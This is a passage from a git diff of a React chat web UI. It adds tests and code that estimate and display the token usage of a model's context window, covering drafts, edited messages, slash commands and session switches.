makeMessage({ + id: 'edited-user', + role: 'user', + parts: [{ id: 'edited-user-text', type: 'text', text: 'x'.repeat(400) }], + }), + makeMessage({ + id: 'discarded-assistant', + parts: [ + { id: 'discarded-text', type: 'text', text: 'y'.repeat(400) }, + { id: 'discarded-reasoning', type: 'reasoning', text: 'z'.repeat(400) }, + ], + }), + ], '', { + sessionID: 'sess-1', + usedTokens: 330, + contextWindow: 1000, + percent: 33, + source: 'observed', + estimatedTokens: 320, + compactedTokens: 0, + segments: [ + { key: 'systemPrompt', tokens: 80, included: true, source: 'estimated' }, + { key: 'toolDefinitions', tokens: 40, included: true, source: 'estimated' }, + { key: 'conversation', tokens: 110, included: true, source: 'estimated' }, + { key: 'reasoning', tokens: 100, included: true, source: 'estimated' }, + ], + excludedSegments: [], + }, { + pendingTokenDeltas: { conversation: -100, reasoning: -100 }, + useLocalMessageUsage: true, + }); + + expect(breakdown.usedTokens).toBe(100); + expect(breakdown.segments.find((segment) => segment.key === 'toolDefinitions')?.tokens).toBe(40); + expect(breakdown.segments.find((segment) => segment.key === 'toolDefinitions')?.included).toBe(false); + expect(breakdown.segments.find((segment) => segment.key === 'conversation')?.tokens).toBe(100); + expect(breakdown.segments.find((segment) => segment.key === 'reasoning')?.tokens).toBe(0); + }); }); describe('getMessageBubbleClassName', () => { @@ -3767,7 +3857,49 @@ describe('ChatToolPart question result rendering', () => { }); describe('SessionChat context usage popover', () => { - it('always shows fixed usage rows and hides compacted history', async () => { + it('counts a first prompt handed off as an optimistic new-session message', async () => { + const prompt = 'x'.repeat(400); + mockStatefulSessionMessages(); + sessionApiGetContextUsageMock.mockResolvedValue({ + sessionID: 'sess-1', + usedTokens: 120, + contextWindow: 1000, + percent: 12, + source: 'estimated', + estimatedTokens: 120, + compactedTokens: 0, + segments: [ + { key: 'systemPrompt', tokens: 80, included: true, source: 'estimated' }, + { key: 'toolDefinitions', tokens: 40, included: true, source: 'estimated' }, + ], + excludedSegments: [], + }); + + render(React.createElement(SessionChat, { + sessionId: 'sess-1', + contextWindowTokens: 1000, + initialOptimisticMessage: makeMessage({ + id: 'optimistic-user-1', + sessionID: 'sess-1', + role: 'user', + parts: [{ + id: 'optimistic-part-1', + type: 'text', + text: prompt, + metadata: { displayText: 'Visible label' }, + }], + }), + })); + + const contextButton = screen.getByRole('button', { name: 'chat.contextUsageTitle' }); + await waitFor(() => { + expect(contextButton).toHaveTextContent('10%'); + }); + expect(screen.getByText('Visible label')).toBeInTheDocument(); + expect(screen.queryByText(prompt)).not.toBeInTheDocument(); + }); + + it('counts only the current draft before the first user prompt', async () => { const user = userEvent.setup(); sessionApiGetContextUsageMock.mockResolvedValue({ sessionID: 'sess-1', @@ -3777,34 +3909,673 @@ describe('SessionChat context usage popover', () => { source: 'estimated', estimatedTokens: 120, compactedTokens: 0, + segments: [ + { key: 'systemPrompt', tokens: 120, included: true, source: 'estimated' }, + ], + excludedSegments: [], + }); + + render(React.createElement(SessionChat, { sessionId: 'sess-1' })); + + const contextButton = await screen.findByRole('button', { name: 'chat.contextUsageTitle' }); + expect(contextButton).toHaveTextContent('0%'); + + fireEvent.change(screen.getByPlaceholderText('请输入消息'), { + target: { value: 'x'.repeat(400) }, + }); + expect(contextButton).toHaveTextContent('10%'); + + await user.click(contextButton); + const conversationRow = screen.getByText('Conversation').closest('[role="menuitem"]'); + expect(conversationRow).not.toBeNull(); + expect(screen.queryByText('System prompt')).not.toBeInTheDocument(); + expect(screen.queryByText('Tool definitions')).not.toBeInTheDocument(); + expect(within(conversationRow as HTMLElement).getByText('100')).toBeInTheDocument(); + }); + + it('keeps the submitted prompt in usage while the first model call is running', async () => { + mockStatefulSessionMessages(); + sessionApiGetContextUsageMock.mockResolvedValue({ + sessionID: 'sess-1', + usedTokens: 80, + contextWindow: 1000, + percent: 8, + source: 'estimated', + estimatedTokens: 80, + compactedTokens: 0, + segments: [ + { key: 'systemPrompt', tokens: 80, included: true, source: 'estimated' }, + ], + excludedSegments: [], + }); + + render(React.createElement(SessionChat, { sessionId: 'sess-1' })); + + const contextButton = await screen.findByRole('button', { name: 'chat.contextUsageTitle' }); + const textarea = screen.getByPlaceholderText('请输入消息'); + fireEvent.change(textarea, { target: { value: 'x'.repeat(400) } }); + expect(contextButton).toHaveTextContent('10%'); + + fireEvent.keyDown(textarea, { key: 'Enter', code: 'Enter' }); + + await waitFor(() => { + expect(clientPostMock).toHaveBeenCalledWith( + '/api/session/sess-1/prompt_async', + expect.any(Object), + ); + }); + expect(contextButton).toHaveTextContent('10%'); + + const user = userEvent.setup(); + await user.click(contextButton); + const conversationRow = screen.getByText('Conversation').closest('[role="menuitem"]'); + expect(screen.queryByText('System prompt')).not.toBeInTheDocument(); + expect(screen.queryByText('Tool definitions')).not.toBeInTheDocument(); + expect(within(conversationRow as HTMLElement).getByText('100')).toBeInTheDocument(); + }); + + it('keeps draft usage frozen during the automatic-model preflight', async () => { + const modelUpdate = deferred(); + mockStatefulSessionMessages(); + sessionApiUpdateMock.mockReturnValue(modelUpdate.promise); + sessionApiGetContextUsageMock.mockResolvedValue({ + sessionID: 'sess-1', + usedTokens: 80, + contextWindow: 1000, + percent: 8, + source: 'estimated', + estimatedTokens: 80, + compactedTokens: 0, + segments: [ + { key: 'systemPrompt', tokens: 80, included: true, source: 'estimated' }, + ], + excludedSegments: [], + }); + + render(React.createElement(SessionChat, { + sessionId: 'sess-1', + contextWindowTokens: 1000, + modelAuto: true, + })); + + const contextButton = await screen.findByRole('button', { name: 'chat.contextUsageTitle' }); + const textarea = screen.getByPlaceholderText('请输入消息'); + fireEvent.change(textarea, { target: { value: 'x'.repeat(400) } }); + expect(contextButton).toHaveTextContent('10%'); + + fireEvent.keyDown(textarea, { key: 'Enter', code: 'Enter' }); + await waitFor(() => { + expect(sessionApiUpdateMock).toHaveBeenCalledWith('sess-1', { + model_auto: true, + model_pinned: false, + }); + }); + expect(clientPostMock).not.toHaveBeenCalledWith( + '/api/session/sess-1/prompt_async', + expect.any(Object), + ); + expect(contextButton).toHaveTextContent('10%'); + + await act(async () => { + modelUpdate.resolve({}); + await modelUpdate.promise; + }); + await waitFor(() => { + expect(clientPostMock).toHaveBeenCalledWith( + '/api/session/sess-1/prompt_async', + expect.any(Object), + ); + }); + expect(contextButton).toHaveTextContent('10%'); + }); + + it('counts the real prompt instead of its shorter display label while submitting', async () => { + const prompt = 'x'.repeat(400); + mockStatefulSessionMessages(); + sessionApiGetContextUsageMock.mockResolvedValue({ + sessionID: 'sess-1', + usedTokens: 80, + contextWindow: 1000, + percent: 8, + source: 'estimated', + estimatedTokens: 80, + compactedTokens: 0, + segments: [ + { key: 'systemPrompt', tokens: 80, included: true, source: 'estimated' }, + ], + excludedSegments: [], + }); + + render(React.createElement(SessionChat, { + sessionId: 'sess-1', + initialMessage: prompt, + initialDisplayText: 'Visible label', + contextWindowTokens: 1000, + })); + + await waitFor(() => { + expect(clientPostMock).toHaveBeenCalledWith( + '/api/session/sess-1/prompt_async', + expect.objectContaining({ displayText: 'Visible label' }), + ); + expect(screen.getByRole('button', { name: 'chat.contextUsageTitle' })).toHaveTextContent('10%'); + }); + expect(screen.getByText('Visible label')).toBeInTheDocument(); + expect(screen.queryByText(prompt)).not.toBeInTheDocument(); + }); + + it('does not double-count a prompt when the initial snapshot resolves after submission', async () => { + const request = deferred(); + mockStatefulSessionMessages(); + sessionApiGetContextUsageMock.mockReturnValue(request.promise); + + render(React.createElement(SessionChat, { + sessionId: 'sess-1', + contextWindowTokens: 1000, + })); + + const contextButton = screen.getByRole('button', { name: 'chat.contextUsageTitle' }); + const textarea = screen.getByPlaceholderText('请输入消息'); + fireEvent.change(textarea, { target: { value: 'x'.repeat(400) } }); + fireEvent.keyDown(textarea, { key: 'Enter', code: 'Enter' }); + + await waitFor(() => { + expect(clientPostMock).toHaveBeenCalledWith( + '/api/session/sess-1/prompt_async', + expect.any(Object), + ); + expect(sessionApiGetContextUsageMock).toHaveBeenCalledTimes(1); + }); + expect(contextButton).toHaveTextContent('10%'); + + await act(async () => { + request.resolve({ + sessionID: 'sess-1', + usedTokens: 220, + contextWindow: 1000, + percent: 22, + source: 'estimated', + estimatedTokens: 220, + compactedTokens: 0, + segments: [ + { key: 'systemPrompt', tokens: 80, included: true, source: 'estimated' }, + { key: 'toolDefinitions', tokens: 40, included: true, source: 'estimated' }, + { key: 'conversation', tokens: 100, included: true, source: 'estimated' }, + ], + excludedSegments: [], + }); + await request.promise; + }); + + expect(contextButton).toHaveTextContent('10%'); + }); + + it('keeps a newer prompt pending when the previous turn refresh resolves', async () => { + const previousTurnRefresh = deferred(); + mockStatefulSessionMessages(); + sessionApiGetContextUsageMock + .mockResolvedValueOnce({ + sessionID: 'sess-1', + usedTokens: 80, + contextWindow: 1000, + percent: 8, + source: 'estimated', + estimatedTokens: 80, + compactedTokens: 0, + segments: [ + { key: 'systemPrompt', tokens: 80, included: true, source: 'estimated' }, + ], + excludedSegments: [], + }) + .mockReturnValueOnce(previousTurnRefresh.promise); + + render(React.createElement(SessionChat, { + sessionId: 'sess-1', + contextWindowTokens: 1000, + })); + + const contextButton = await screen.findByRole('button', { name: 'chat.contextUsageTitle' }); + await waitFor(() => expect(sessionApiGetContextUsageMock).toHaveBeenCalledTimes(1)); + const textarea = screen.getByPlaceholderText('请输入消息'); + fireEvent.change(textarea, { target: { value: 'a'.repeat(400) } }); + fireEvent.keyDown(textarea, { key: 'Enter', code: 'Enter' }); + await waitFor(() => expect(contextButton).toHaveTextContent('10%')); + + act(() => { + useSSEOptionsRef.current.onEvent({ + type: 'message.updated', + properties: { + info: { + id: 'assistant-turn-1', + sessionID: 'sess-1', + role: 'assistant', + providerID: 'openai', + modelID: 'gpt-test', + time: { completed: Date.now() }, + finish: 'stop', + }, + }, + }); + }); + await waitFor(() => expect(sessionApiGetContextUsageMock).toHaveBeenCalledTimes(2)); + + fireEvent.change(textarea, { target: { value: 'b'.repeat(400) } }); + fireEvent.keyDown(textarea, { key: 'Enter', code: 'Enter' }); + await waitFor(() => { + expect(clientPostMock).toHaveBeenCalledTimes(2); + expect(contextButton).toHaveTextContent('20%'); + }); + + await act(async () => { + previousTurnRefresh.resolve({ + sessionID: 'sess-1', + usedTokens: 180, + contextWindow: 1000, + percent: 18, + source: 'estimated', + estimatedTokens: 180, + compactedTokens: 0, + segments: [ + { key: 'systemPrompt', tokens: 80, included: true, source: 'estimated' }, + { key: 'conversation', tokens: 100, included: true, source: 'estimated' }, + ], + excludedSegments: [], + }); + await previousTurnRefresh.promise; + }); + + await waitFor(() => expect(contextButton).toHaveTextContent('20%')); + }); + + it('drops pending usage during the first render of a different session', async () => { + const layoutPercentages: string[] = []; + const firstSnapshot: ContextUsageSnapshot = { + sessionID: 'sess-1', + usedTokens: 580, + contextWindow: 1000, + percent: 58, + source: 'estimated', + estimatedTokens: 580, + compactedTokens: 0, segments: [ { key: 'systemPrompt', tokens: 80, included: true, source: 'estimated' }, + { key: 'conversation', tokens: 500, included: true, source: 'estimated' }, + ], + excludedSegments: [], + }; + mockStatefulSessionMessages([ + makeMessage({ + id: 'existing-user-1', + sessionID: 'sess-1', + role: 'user', + model: 'openai/gpt-test', + parts: [{ id: 'existing-user-part-1', type: 'text', text: 'x'.repeat(2000) }], + }), + ]); + sessionApiGetContextUsageMock.mockImplementation((activeSessionId: string) => ( + activeSessionId === 'sess-1' + ? Promise.resolve(firstSnapshot) + : new Promise(() => {}) + )); + + function SessionSwitchProbe({ activeSessionId }: { activeSessionId: string }) { + React.useLayoutEffect(() => { + const contextButton = document.querySelector( + 'button[aria-label="chat.contextUsageTitle"]', + ); + layoutPercentages.push(contextButton?.textContent || ''); + }, [activeSessionId]); + + return React.createElement(SessionChat, { + sessionId: activeSessionId, + contextWindowTokens: 1000, + }); + } + + const rendered = render(React.createElement(SessionSwitchProbe, { + activeSessionId: 'sess-1', + })); + const contextButton = await screen.findByRole('button', { name: 'chat.contextUsageTitle' }); + await waitFor(() => expect(contextButton).toHaveTextContent('50%')); + + const textarea = screen.getByPlaceholderText('请输入消息'); + fireEvent.change(textarea, { target: { value: 'x'.repeat(400) } }); + fireEvent.keyDown(textarea, { key: 'Enter', code: 'Enter' }); + await waitFor(() => expect(contextButton).toHaveTextContent('60%')); + + rendered.rerender(React.createElement(SessionSwitchProbe, { + activeSessionId: 'sess-2', + })); + + expect(layoutPercentages[layoutPercentages.length - 1]).toBe('0%'); + expect(contextButton).toHaveTextContent('0%'); + }); + + it('retains pending prompt usage when the completion refresh fails', async () => { + const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); + const failedRefresh = deferred(); + mockStatefulSessionMessages(); + sessionApiGetContextUsageMock + .mockResolvedValueOnce({ + sessionID: 'sess-1', + usedTokens: 80, + contextWindow: 1000, + percent: 8, + source: 'estimated', + estimatedTokens: 80, + compactedTokens: 0, + segments: [ + { key: 'systemPrompt', tokens: 80, included: true, source: 'estimated' }, + ], + excludedSegments: [], + }) + .mockReturnValueOnce(failedRefresh.promise); + + try { + render(React.createElement(SessionChat, { sessionId: 'sess-1' })); + + const contextButton = await screen.findByRole('button', { name: 'chat.contextUsageTitle' }); + const textarea = screen.getByPlaceholderText('请输入消息'); + fireEvent.change(textarea, { target: { value: 'x'.repeat(400) } }); + fireEvent.keyDown(textarea, { key: 'Enter', code: 'Enter' }); + await waitFor(() => { + expect(contextButton).toHaveTextContent('10%'); + }); + + act(() => { + useSSEOptionsRef.current.onEvent({ + type: 'message.updated', + properties: { + info: { + id: 'assistant-1', + sessionID: 'sess-1', + role: 'assistant', + time: { completed: Date.now() }, + finish: 'stop', + }, + }, + }); + }); + + await waitFor(() => { + expect(sessionApiGetContextUsageMock).toHaveBeenCalledTimes(2); + }); + await act(async () => { + failedRefresh.reject(new Error('context usage unavailable')); + await failedRefresh.promise.catch(() => undefined); + }); + await waitFor(() => { + expect(warnSpy).toHaveBeenCalled(); + }); + expect(contextButton).toHaveTextContent('10%'); + } finally { + warnSpy.mockRestore(); + } + }); + + it('does not activate model context for a built-in slash command', async () => { + mockStatefulSessionMessages(); + sessionApiGetContextUsageMock.mockResolvedValue({ + sessionID: 'sess-1', + usedTokens: 100, + contextWindow: 100, + percent: 100, + source: 'estimated', + estimatedTokens: 100, + compactedTokens: 0, + segments: [ + { key: 'systemPrompt', tokens: 60, included: true, source: 'estimated' }, + { key: 'toolDefinitions', tokens: 40, included: true, source: 'estimated' }, + ], + excludedSegments: [], + }); + + render(React.createElement(SessionChat, { + sessionId: 'sess-1', + contextWindowTokens: 100, + })); + + const contextButton = await screen.findByRole('button', { name: 'chat.contextUsageTitle' }); + const textarea = screen.getByPlaceholderText('请输入消息'); + fireEvent.change(textarea, { target: { value: '/tools' } }); + expect(contextButton).toHaveTextContent('1%'); + + fireEvent.keyDown(textarea, { key: 'Enter', code: 'Enter' }); + + await waitFor(() => { + expect(clientPostMock).toHaveBeenCalledWith( + '/api/session/sess-1/command', + expect.any(Object), + ); + }); + expect(contextButton).toHaveTextContent('0%'); + }); + + it('ignores command-only history before a context snapshot is available', () => { + mockStatefulSessionMessages([ + makeMessage({ + id: 'command-user', + role: 'user', + model: 'openai/gpt-test', + parts: [{ id: 'command-part', type: 'text', text: 'x'.repeat(400), ignored: true }], + }), + ]); + sessionApiGetContextUsageMock.mockReturnValue(new Promise(() => {})); + + render(React.createElement(SessionChat, { + sessionId: 'sess-1', + contextWindowTokens: 1000, + })); + + expect(screen.getByRole('button', { name: 'chat.contextUsageTitle' })).toHaveTextContent('0%'); + }); + + it('does not attribute observed fixed-cost drift to a short model conversation', async () => { + const user = userEvent.setup(); + sessionApiGetContextUsageMock.mockResolvedValue({ + sessionID: 'sess-1', + usedTokens: 23210, + contextWindow: 1000000, + percent: 2, + source: 'observed', + observedTokens: 23210, + estimatedTokens: 20010, + compactedTokens: 0, + segments: [ + { key: 'systemPrompt', tokens: 8000, included: true, source: 'estimated' }, + { key: 'toolDefinitions', tokens: 12000, included: true, source: 'estimated' }, + { key: 'conversation', tokens: 3210, included: true, source: 'estimated' }, { key: 'agentDelegation', tokens: 0, included: true, source: 'estimated' }, ], excludedSegments: [ { key: 'compactedHistory', tokens: 12000, included: false, source: 'estimated' }, ], }); + useSessionMessagesMock.mockReturnValue({ + messages: [ + makeMessage({ + id: 'user-1', + role: 'user', + parts: [{ id: 'user-part-1', type: 'text', text: 'prompt' }], + }), + makeMessage({ + id: 'assistant-1', + role: 'assistant', + providerID: 'openai', + modelID: 'gpt-test', + parts: [{ id: 'assistant-part-1', type: 'text', text: 'response' }], + }), + ], + loading: false, + error: null, + refetch: vi.fn(), + addMessage: vi.fn(), + updateMessage: vi.fn(), + updateMessagePart: vi.fn(), + removeMessage: vi.fn(), + clearMessages: vi.fn(), + replaceMessageText: vi.fn(), + markMessageStopped: vi.fn(), + truncateAfterMessage: vi.fn(), + }); render(React.createElement(SessionChat, { sessionId: 'sess-1' })); const contextButton = await screen.findByRole('button', { name: 'chat.contextUsageTitle' }); expect(contextButton).toHaveClass('h-6'); expect(contextButton).not.toHaveClass('w-6'); - expect(contextButton).toHaveTextContent('12%'); + expect(contextButton).toHaveTextContent('0%'); await user.click(contextButton); - expect(screen.getByText('System prompt')).toBeInTheDocument(); - expect(screen.getByText('Tool definitions')).toBeInTheDocument(); - expect(screen.getByText('Conversation')).toBeInTheDocument(); + expect(screen.queryByText('System prompt')).not.toBeInTheDocument(); + expect(screen.queryByText('Tool definitions')).not.toBeInTheDocument(); + const conversationRow = screen.getByText('Conversation').closest('[role="menuitem"]'); + expect(within(conversationRow as HTMLElement).getByText('10')).toBeInTheDocument(); expect(screen.getByText('Reasoning')).toBeInTheDocument(); expect(screen.getByText('Tool calls')).toBeInTheDocument(); expect(screen.getByText('Skill loads')).toBeInTheDocument(); expect(screen.getByText('Agent delegation')).toBeInTheDocument(); - expect(screen.getAllByText('0').length).toBeGreaterThanOrEqual(4); expect(screen.queryByText('Compacted history')).not.toBeInTheDocument(); }); + it('tracks the token delta while an edited user message is being resent', async () => { + const user = userEvent.setup(); + const originalText = 'x'.repeat(40); + const editedText = 'x'.repeat(400); + mockStatefulSessionMessages([ + makeMessage({ + id: 'user-1', + role: 'user', + model: 'openai/gpt-test', + parts: [{ id: 'user-part-1', type: 'text', text: originalText }], + }), + makeMessage({ + id: 'assistant-1', + role: 'assistant', + providerID: 'openai', + modelID: 'gpt-test', + parentID: 'user-1', + parts: [ + { id: 'assistant-part-1', type: 'text', text: 'y'.repeat(400) }, + { id: 'assistant-reasoning-1', type: 'reasoning', text: 'z'.repeat(400) }, + ], + }), + ]); + sessionApiGetContextUsageMock.mockResolvedValue({ + sessionID: 'sess-1', + usedTokens: 290, + contextWindow: 1000, + percent: 29, + source: 'estimated', + estimatedTokens: 290, + compactedTokens: 0, + segments: [ + { key: 'systemPrompt', tokens: 80, included: true, source: 'estimated' }, + { key: 'conversation', tokens: 110, included: true, source: 'estimated' }, + { key: 'reasoning', tokens: 100, included: true, source: 'estimated' }, + ], + excludedSegments: [], + }); + sessionApiResendMessageMock.mockReturnValue(new Promise(() => {})); + + render(React.createElement(SessionChat, { + sessionId: 'sess-1', + display: { compact: false, showActions: true }, + })); + + const contextButton = await screen.findByRole('button', { name: 'chat.contextUsageTitle' }); + expect(contextButton).toHaveTextContent('21%'); + + await user.click(screen.getByLabelText('chat.edit')); + fireEvent.change(screen.getByDisplayValue(originalText), { target: { value: editedText } }); + await user.click(screen.getByLabelText('chat.sendEdited')); + + await waitFor(() => { + expect(sessionApiResendMessageMock).toHaveBeenCalledWith( + 'sess-1', + 'user-1', + 'user-part-1', + editedText, + ); + }); + expect(contextButton).toHaveTextContent('10%'); + + await user.click(contextButton); + const conversationRow = screen.getByText('Conversation').closest('[role="menuitem"]'); + const reasoningRow = screen.getByText('Reasoning').closest('[role="menuitem"]'); + expect(within(conversationRow as HTMLElement).getByText('100')).toBeInTheDocument(); + expect(within(reasoningRow as HTMLElement).getByText('0')).toBeInTheDocument(); + }); + + it('preserves edit removals when the initial context snapshot resolves late', async () => { + const request = deferred(); + const user = userEvent.setup(); + const originalText = 'x'.repeat(40); + const editedText = 'x'.repeat(400); + mockStatefulSessionMessages([ + makeMessage({ + id: 'user-late-snapshot', + role: 'user', + model: 'openai/gpt-test', + parts: [{ id: 'user-late-part', type: 'text', text: originalText }], + }), + makeMessage({ + id: 'assistant-late-snapshot', + role: 'assistant', + providerID: 'openai', + modelID: 'gpt-test', + parentID: 'user-late-snapshot', + parts: [ + { id: 'assistant-late-text', type: 'text', text: 'y'.repeat(400) }, + { id: 'assistant-late-reasoning', type: 'reasoning', text: 'z'.repeat(400) }, + ], + }), + ]); + sessionApiGetContextUsageMock.mockReturnValue(request.promise); + sessionApiResendMessageMock.mockReturnValue(new Promise(() => {})); + + render(React.createElement(SessionChat, { + sessionId: 'sess-1', + contextWindowTokens: 1000, + display: { compact: false, showActions: true }, + })); + + await waitFor(() => expect(sessionApiGetContextUsageMock).toHaveBeenCalledTimes(1)); + const contextButton = screen.getByRole('button', { name: 'chat.contextUsageTitle' }); + await user.click(screen.getByLabelText('chat.edit')); + fireEvent.change(screen.getByDisplayValue(originalText), { target: { value: editedText } }); + await user.click(screen.getByLabelText('chat.sendEdited')); + + await waitFor(() => expect(contextButton).toHaveTextContent('10%')); + + await act(async () => { + request.resolve({ + sessionID: 'sess-1', + usedTokens: 330, + contextWindow: 1000, + percent: 33, + source: 'observed', + estimatedTokens: 320, + compactedTokens: 0, + segments: [ + { key: 'systemPrompt', tokens: 80, included: true, source: 'estimated' }, + { key: 'toolDefinitions', tokens: 40, included: true, source: 'estimated' }, + { key: 'conversation', tokens: 110, included: true, source: 'estimated' }, + { key: 'reasoning', tokens: 100, included: true, source: 'estimated' }, + ], + excludedSegments: [], + }); + await request.promise; + }); + + await waitFor(() => expect(contextButton).toHaveTextContent('10%')); + await user.click(contextButton); + const conversationRow = screen.getByText('Conversation').closest('[role="menuitem"]'); + const reasoningRow = screen.getByText('Reasoning').closest('[role="menuitem"]'); + expect(within(conversationRow as HTMLElement).getByText('100')).toBeInTheDocument(); + expect(within(reasoningRow as HTMLElement).getByText('0')).toBeInTheDocument(); + }); + it('keeps usage visible while recalculating after compaction succeeds', async () => { const user = userEvent.setup(); sessionApiGetContextUsageMock @@ -3839,6 +4610,7 @@ describe('SessionChat context usage popover', () => { makeMessage({ id: 'stale-user', role: 'user', + model: 'openai/gpt-test', parts: [{ id: 'stale-user-part', type: 'text', text: 'x'.repeat(4000) }] as Message['parts'], }), ], @@ -3902,6 +4674,25 @@ describe('SessionChat context usage popover', () => { ], excludedSegments: [], }); + useSessionMessagesMock.mockReturnValue({ + messages: [makeMessage({ + id: 'user-1', + role: 'user', + model: 'openai/gpt-test', + parts: [{ id: 'user-part-1', type: 'text', text: 'prompt' }], + })], + loading: false, + error: null, + refetch: vi.fn(), + addMessage: vi.fn(), + updateMessage: vi.fn(), + updateMessagePart: vi.fn(), + removeMessage: vi.fn(), + clearMessages: vi.fn(), + replaceMessageText: vi.fn(), + markMessageStopped: vi.fn(), + truncateAfterMessage: vi.fn(), + }); render(React.createElement(SessionChat, { sessionId: 'sess-1', live: true, onError })); diff --git a/webui/src/components/common/SessionChat.tsx b/webui/src/components/common/SessionChat.tsx index 76d19611c..0be01168a 100644 --- a/webui/src/components/common/SessionChat.tsx +++ b/webui/src/components/common/SessionChat.tsx @@ -371,6 +371,7 @@ function stringifyToolPayload(value: unknown): string { } function estimatePartTokens(part: MessagePart): number { + if (part.ignored) return 0; if (part.type === 'text') { return countTokensLikeCompaction(part.text); } @@ -411,6 +412,25 @@ export interface ContextUsageBreakdown { excludedSegments: ContextUsageBreakdownSegment[]; } +interface ContextUsageBreakdownOptions { + includeSnapshotUsage?: boolean; + pendingTokenDeltas?: ContextUsageTokenDeltas; + useLocalMessageUsage?: boolean; +} + +type ContextUsageTokenDeltas = Partial>; + +interface PendingContextUsageEntry { + snapshotTokenDeltas: ContextUsageTokenDeltas; + localTokenDeltas: ContextUsageTokenDeltas; +} + +interface PendingContextUsageState { + sessionId: string | null; + baselineSnapshot: ContextUsageSnapshot | null; + entries: Record; +} + const CONTEXT_SEGMENT_COLORS: Record = { systemPrompt: 'bg-zinc-400', toolDefinitions: 'bg-violet-400', @@ -441,9 +461,23 @@ function estimateMessageTokens(message: Message): number { return message.parts.reduce((sum, part) => sum + estimatePartTokens(part), 0); } +function isModelInvocationMessage(message: Message): boolean { + if (message.role === 'user') { + return Boolean(message.model) + && message.parts.some((part) => part.ignored !== true); + } + return message.role === 'assistant' + && message.providerID !== 'builtin' + && message.modelID !== 'command' + && Boolean(message.providerID || message.modelID); +} + function estimateActiveMessageBreakdown(messages: Message[]): Pick { let conversationTokens = 0; let reasoningTokens = 0; + let toolTokens = 0; + let skillLoadTokens = 0; + let agentDelegationTokens = 0; messages.forEach((message) => { if (message.compacted) return; @@ -451,6 +485,14 @@ function estimateActiveMessageBreakdown(messages: Message[]): Pick 0) { + segments.push({ + key: 'tools', + tokens: toolTokens, + colorClass: CONTEXT_SEGMENT_COLORS.tools, + included: true, + }); + } + if (skillLoadTokens > 0) { + segments.push({ + key: 'skillLoad', + tokens: skillLoadTokens, + colorClass: CONTEXT_SEGMENT_COLORS.skillLoad, + included: true, + }); + } + if (agentDelegationTokens > 0) { + segments.push({ + key: 'agentDelegation', + tokens: agentDelegationTokens, + colorClass: CONTEXT_SEGMENT_COLORS.agentDelegation, + included: true, + }); + } return { - usedTokens: conversationTokens + reasoningTokens, + usedTokens: conversationTokens + + reasoningTokens + + toolTokens + + skillLoadTokens + + agentDelegationTokens, segments, }; } +function addContextTokenDelta( + deltas: ContextUsageTokenDeltas, + key: ContextUsageBreakdownSegment['key'], + tokenDelta: number, +): void { + if (tokenDelta === 0) return; + deltas[key] = (deltas[key] || 0) + tokenDelta; +} + function normalizeContextSegment(segment: { key: string; tokens: number; @@ -518,6 +597,24 @@ function addContextSegmentTokens( }); } +function adjustContextSegmentTokens( + segments: ContextUsageBreakdownSegment[], + key: ContextUsageBreakdownSegment['key'], + tokenDelta: number, +): number { + if (tokenDelta === 0) return 0; + const existing = segments.find((segment) => segment.key === key); + if (existing) { + const previousTokens = existing.tokens; + existing.tokens = Math.max(0, previousTokens + tokenDelta); + return existing.tokens - previousTokens; + } else if (tokenDelta > 0) { + addContextSegmentTokens(segments, key, tokenDelta); + return tokenDelta; + } + return 0; +} + function normalizeFixedContextSegments( segments: ContextUsageBreakdownSegment[], ): ContextUsageBreakdownSegment[] { @@ -552,6 +649,7 @@ export function buildContextUsageBreakdown( messages: Message[], draft: string, snapshot?: ContextUsageSnapshot | null, + options?: ContextUsageBreakdownOptions, ): ContextUsageBreakdown { const compactedTokens = messages.reduce((total, message) => ( message.compacted ? total + estimateMessageTokens(message) : total @@ -562,27 +660,94 @@ export function buildContextUsageBreakdown( const serverSegments = (snapshot.segments || []) .map(normalizeContextSegment) .filter((segment): segment is ContextUsageBreakdownSegment => Boolean(segment)); - const segments = [...serverSegments]; + const includeSnapshotUsage = options?.includeSnapshotUsage !== false; + const useLocalMessageUsage = includeSnapshotUsage && options?.useLocalMessageUsage === true; + const activeBreakdown = useLocalMessageUsage + ? estimateActiveMessageBreakdown(messages) + : null; + const segments = includeSnapshotUsage + ? useLocalMessageUsage + ? serverSegments.filter((segment) => ( + segment.key === 'systemPrompt' || segment.key === 'toolDefinitions' + )) + : [...serverSegments] + : serverSegments.filter((segment) => segment.key === 'systemPrompt'); + activeBreakdown?.segments.forEach((segment) => { + addContextSegmentTokens(segments, segment.key, segment.tokens); + }); + const includedSystemPromptTokens = serverSegments.reduce((total, segment) => ( + segment.key === 'systemPrompt' && segment.included ? total + segment.tokens : total + ), 0); + const includedToolDefinitionTokens = serverSegments.reduce((total, segment) => ( + segment.key === 'toolDefinitions' && segment.included ? total + segment.tokens : total + ), 0); + const estimatedSnapshotTokens = snapshot.estimatedTokens > 0 + ? snapshot.estimatedTokens + : snapshot.usedTokens || 0; + if (includeSnapshotUsage && !useLocalMessageUsage) { + adjustContextSegmentTokens( + segments, + 'conversation', + -Math.max(0, (snapshot.usedTokens || 0) - estimatedSnapshotTokens), + ); + } + const pendingTokenDeltas = includeSnapshotUsage ? options?.pendingTokenDeltas || {} : {}; + const pendingTokenDeltaTotal = Object.entries(pendingTokenDeltas).reduce( + (total, [key, tokenDelta]) => total + adjustContextSegmentTokens( + segments, + key as ContextUsageBreakdownSegment['key'], + tokenDelta || 0, + ), + 0, + ); addContextSegmentTokens(segments, 'conversation', draftTokens); return { - usedTokens: Math.max(0, snapshot.usedTokens || 0) + draftTokens, + usedTokens: ( + includeSnapshotUsage + ? Math.max( + 0, + ( + useLocalMessageUsage + ? activeBreakdown?.usedTokens || 0 + : estimatedSnapshotTokens - includedSystemPromptTokens - includedToolDefinitionTokens + ) + pendingTokenDeltaTotal, + ) + : 0 + ) + draftTokens, compactedTokens: Math.max(0, snapshot.compactedTokens || 0), - segments: normalizeFixedContextSegments(segments), + segments: normalizeFixedContextSegments(segments).map((segment) => ( + segment.key === 'systemPrompt' || segment.key === 'toolDefinitions' + ? { ...segment, included: false } + : segment + )), excludedSegments: [], }; } const activeBreakdown = estimateActiveMessageBreakdown(messages); const segments: ContextUsageBreakdownSegment[] = [...activeBreakdown.segments]; + const pendingTokenDeltas = options?.pendingTokenDeltas || {}; + const pendingTokenDeltaTotal = Object.entries(pendingTokenDeltas).reduce( + (total, [key, tokenDelta]) => total + adjustContextSegmentTokens( + segments, + key as ContextUsageBreakdownSegment['key'], + tokenDelta || 0, + ), + 0, + ); addContextSegmentTokens(segments, 'conversation', draftTokens); return { - usedTokens: activeBreakdown.usedTokens + draftTokens, + usedTokens: Math.max(0, 